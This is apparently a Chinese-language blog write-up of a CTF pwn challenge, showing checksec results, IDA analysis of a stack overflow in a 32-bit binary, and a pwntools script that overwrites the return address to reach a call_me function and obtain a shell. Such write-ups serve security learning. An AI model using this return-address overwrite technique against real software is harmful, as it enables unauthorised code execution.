CTF-Pwn1

Hello Eutopia's Blog

Posted by Eutopia on October 8, 2023

CTF-Pwn1

  • 首先使用checksec工具进行检查:

checksec

file

​ 可以发现,pwn1程序为32位,仅开启了DEP保护,动态链接。

  • 然后使用ida64打开进行静态分析,可见stack_overflow函数存在漏洞,可以进行栈溢出攻击。

main

main

stack_flow

stack_flow

call_me

call_me

​ 另外,发现内部有call_me函数,可知需要通过栈溢出覆盖返回地址为call_me函数地址。

  • 上述函数地址:
函数名 地址
main 0x080484C2
stack_flow 0x08048494
call_me 0x0804846B
  • 使用gdb工具进行调试,可以查看栈的情况。stack
  • 构造python脚本进行动态调试:

python

from pwn import *

context(arch="i386", log_level="debug")
p = process("./pwn1")

call_me = 0x0804846B
leave = 0x080484C0

retn = 0x080484F4
payload = flat(b'a'*(0x28), retn, call_me)
p.recvuntil("Please finish pwn1!")
gdb.attach(p, 'b *0x080484C0')
p.send(payload)

p.interactive()
  • 最终成功执行call_me函数,获取shell。

result